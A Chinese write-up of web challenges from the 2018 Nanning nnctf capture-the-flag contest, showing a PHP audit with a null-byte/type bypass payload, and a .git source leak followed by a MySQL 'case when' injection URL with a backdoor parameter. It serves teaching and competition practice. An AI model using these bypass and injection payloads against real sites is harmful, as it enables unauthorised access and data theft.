2018~第三届南宁市网络安全技术大赛~nnctf~write-up
Web
1.超简单
分值:100 类型:WEB 已解决
题目:超简单的web题 http://gxnnctf.gxsosec.cn:12311/

代码审计
<?php
$white_list = range(0,9);
require_once('flag.php');
if(isset($_REQUEST['no'])){ //非空
$a=$_REQUEST['no'];
if(@ereg("^[0-9]+$", $a) === FALSE){ //必须为数字
echo 'no must be number';
}else{
if(in_array($a,$white_list)){ //数字必须在$white_list白名单里
if(strlen($a)>1){ //但是if(strlen($a))长度必须>1
echo 'you are a great dark phper<br>';
echo "<img src='dark.gif'><br>";
echo $flag;
}else{
echo 'you no dark';
}
}else{
echo 'you are so dark';
}
}
}else
highlight_file(__FILE__);
构造payload的两种方法:
?no=0000
?no=0%00 //erge()函数 %00截断

2.帽子商城
分值:200 类型:WEB 未解决
题目:有帽子你就能变强,去这买几顶帽子吧 http://gxnnctf.gxsosec.cn:12313
3.Sql???
分值:200 类型:WEB 已解决
题目:小明想当一名黑客,于是学习写网站,但他遇到点问题,帮帮他吧 http://gxnnctf.gxsosec.cn:12312/

按照一般思路测试id, 200OK



看到这些首先想到测试ID,是否存在注入,试了各种姿势未果,发现大部分关键字都被过滤,联合注入、盲注都走不通,于是想到可能存在其它辅助漏洞,用御剑扫描工具进行扫描发现http://gxnnctf.gxsosec.cn:12312/网站目录/.git/存在git泄漏,直接利用git恢复工具恢复文件,到这里希望就很大了,仿佛找到了sql大门,当初没有直接想到先扫描一下网站,导致浪费了很多时间 (T_T)
https://github.com/style-404/Git_Extract //git恢复工具
/.git/文件恢复


对index.php进行代码审计

审计发现几乎所有的关键字都被过滤了,但是case when关键字没有被过滤,利用MySQL的case when的特性进行绕过,判断变量是否为空,若为空赋值为2,不为空的话查询结果为1。第一次查询返回2,第二次查询返回1。
case when测试:

条件满足:
1. 参数id在里面进行两次sql查询,第一次需要id=2、第二次需要id=1
2. 参数backdoor=Melonrind
构造payload
http://gxnnctf.gxsosec.cn:12312/?id=case%20when%20@nnctf%20is%20null%20then%20@nnctf:=2%20else%20@nnctf:=@nnctf-1%20end&backdoor=Melonrind

2018~第三届南宁市网络安全技术大赛~nnctf~write-up的更多相关文章
- 第一届合天杯河北科技大学网络安全技术大赛 web6 writeup
- 2017年陕西省网络空间安全技术大赛——种棵树吧——Writeup
2017年陕西省网络空间安全技术大赛——种棵树吧——Writeup 下载下来的zip解压得到两个jpg图片,在Kali中使用binwalk查看文件类型如下图: 有两个发现: 1111.jpg 隐藏了一 ...
- 2017年陕西省网络空间安全技术大赛——一维码——Writeup
<!doctype html> 2017年陕西省网络空间安全技术大赛——一维码——Writeup 先判断下载的文件flag.png确实是png格式的图片后(binwalk, file命令均 ...
- 阿里云IPv6 DDoS防御被工信部认定为“网络安全技术应用试点示范项目”
近日,阿里云数据中心骨干网IPv6 DDoS网络安全防御被工业和信息化部认定为“网络安全技术应用试点示范项目”,本次评选由工业和信息部网络安全管理局发起,从实用性.创新性.先进性.可推广性等维度展 ...
- ACM-ICPC 2018 沈阳赛区网络预赛 K Supreme Number(规律)
https://nanti.jisuanke.com/t/31452 题意 给出一个n (2 ≤ N ≤ 10100 ),找到最接近且小于n的一个数,这个数需要满足每位上的数字构成的集合的每个非空子集 ...
- ACM-ICPC 2018 南京赛区网络预赛 J.sum
A square-free integer is an integer which is indivisible by any square number except 11. For example ...
- Trace 2018徐州icpc网络赛 (二分)(树状数组)
Trace There's a beach in the first quadrant. And from time to time, there are sea waves. A wave ( xx ...
- ACM-ICPC 2018 南京赛区网络预赛 E题
ACM-ICPC 2018 南京赛区网络预赛 E题 题目链接: https://nanti.jisuanke.com/t/30994 Dlsj is competing in a contest wi ...
- ACM-ICPC 2018 南京赛区网络预赛B
题目链接:https://nanti.jisuanke.com/t/30991 Feeling hungry, a cute hamster decides to order some take-aw ...
随机推荐
- 【BZOJ】1969: [Ahoi2005]LANE 航线规划
题目链接: 传送~~ 题解: 老夫实在是码不动了…… 正着搞显然不好做,尝试倒着乱搞.先给被删除的边标记一个时间戳,先删除的时间戳大,同时维护询问时间戳,询问早的时间戳大.没被删除过的边时间戳都是0 ...
- BZOJ_5118_Fib数列2_矩阵乘法+欧拉定理
BZOJ_5118_Fib数列2_矩阵乘法+欧拉定理 Description Fib定义为Fib(0)=0,Fib(1)=1,对于n≥2,Fib(n)=Fib(n-1)+Fib(n-2) 现给出N,求 ...
- java集合框架之Collections
参考http://how2j.cn/k/collection/collection-collections/369.html Collections是一个类,容器的工具类,就如同Arrays是数组的工 ...
- 钉钉开发获取APPKEY, APPSECRET, CorpId和SSOSecret
首先用自己的钉钉账号注册一个企业: https://oa.dingtalk.com/index.htm 一.获取应用APPKEY及APPSECRET方法: 1.登录钉钉开放平台创建应用: https: ...
- MySQL 中基于 XA 实现的分布式事务
1 XA协议 首先我们来简要看下分布式事务处理的XA规范可知XA规范中分布式事务有AP,RM,TM组成: 其中应用程序(Application Program ,简称AP):AP定义事务边界(定义事务 ...
- sau交流学习社区--在element-ui中新建FormData对象组合上传图片和文件的文件对象,同时需要携带其他参数
今天有一个坑,同时要上传图片和文件,而且图片要展示缩略图,文件要展示列表. 我的思路是: 首先,只上传附件照片,这个直接看ele的官方例子就行,不仅仅上传附件照片,还同时上传其他参数. 然后,再做上传 ...
- python之循序渐进学习装饰器
python装饰器的定义:在代码运行期间在不改变原函数定义的基础上,动态给该函数增加功能的方式称之为装饰器(Decorator) 装饰器的优点和用途: 1. 抽离出大量函数中与函数功能本身无关的的雷同 ...
- WebApi用户登录验证及服务器端用户状态存取
最近项目需要给手机端提供数据,采用WebApi的方式,之前的权限验证设计不是很好,这次采用的是Basic基础认证. 1.常见的认证方式 我们知道,asp.net的认证机制有很多种.对于WebApi也不 ...
- 使用CSS3的clip-path(裁剪路径)实现剪贴区域的显示以及实例实现图片渐变
clip-path介绍 clip-path 直译过来就是裁剪路径,使用SVG或形状定义一个HTML元素的可见区域的方法.想象一下你在Photoshop中勾勒路径的场景.MDN上是这样介绍 clip-p ...
- Android-原笔迹手写的探索与开发
前言 这篇文章主要是关于移动端原笔迹的开发,让平板上的手写效果达到笔迹光滑且有笔锋. 介绍关于原笔迹的算法思路. 项目github地址 算法思路分析 曲线拟合算法 利用曲线拟合算法增加虚拟的点,使得 ...